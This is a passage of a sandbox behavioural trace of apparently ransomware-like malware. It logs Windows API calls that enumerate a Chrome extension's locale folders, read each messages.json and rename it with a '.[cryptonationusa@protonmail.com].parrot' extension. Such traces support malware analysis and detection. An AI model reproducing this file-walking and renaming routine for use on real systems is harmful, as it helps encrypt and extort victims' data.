FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x826b1200, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826b1200, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82aada20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x282, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0072.457] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x39a, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.457] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.457] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0072.459] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.459] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x282, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x282, lpOverlapped=0x0) returned 1 [0072.459] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.459] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x39a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.459] CloseHandle (hObject=0x28c) returned 1 [0072.460] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.462] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.462] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826ac3e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8ab21c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8ab21c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.462] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x826b1200, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826b1200, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8ab21c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x3a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0072.462] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.462] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.462] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826b8730, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826bae40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x826bae40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.462] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.462] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.462] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x826bae40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826bae40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82aada20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0072.463] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3d5, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.463] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.463] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0072.465] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.465] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2bd, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x2bd, lpOverlapped=0x0) returned 1 [0072.465] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.465] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3d5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.465] CloseHandle (hObject=0x28c) returned 1 [0072.466] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.467] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.467] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826b8730, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8ad8320, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8ad8320, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.468] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x826bae40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826bae40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8ad8320, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x3d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0072.468] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.468] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.468] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826c2370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826c7190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x826c7190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.468] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.468] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.468] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x826c7190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826c7190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82aada20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x36b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0072.468] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x483, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.468] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.468] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0072.470] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.470] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x36b, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x36b, lpOverlapped=0x0) returned 1 [0072.470] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.470] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x483, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.470] CloseHandle (hObject=0x28c) returned 1 [0072.471] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.472] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.473] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826c2370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8ad8320, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8ad8320, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.473] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x826c7190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826c7190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8ad8320, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x488, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0072.473] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.473] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.473] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826ce6c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826d0dd0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x826d0dd0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.473] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.473] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.473] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x826d0dd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826d34e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82aada20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0072.477] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x381, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.477] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.477] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0072.479] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.479] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x269, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x269, lpOverlapped=0x0) returned 1 [0072.479] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.480] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x381, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.480] CloseHandle (hObject=0x28c) returned 1 [0072.480] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.482] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.482] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826ce6c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8afe480, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8afe480, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.482] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x826d0dd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826d34e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8afe480, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x388, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0072.483] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.483] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.483] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826d8300, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826df830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x826df830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.484] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.484] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.484] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x826df830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826e1f40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82aada20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0072.485] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x381, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.485] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.485] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0072.487] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.487] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x269, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x269, lpOverlapped=0x0) returned 1 [0072.488] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.488] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x381, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.488] CloseHandle (hObject=0x28c) returned 1 [0072.488] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_gb\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_gb\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.491] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.491] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826d8300, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8afe480, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8afe480, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.492] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x826df830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826e1f40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8afe480, 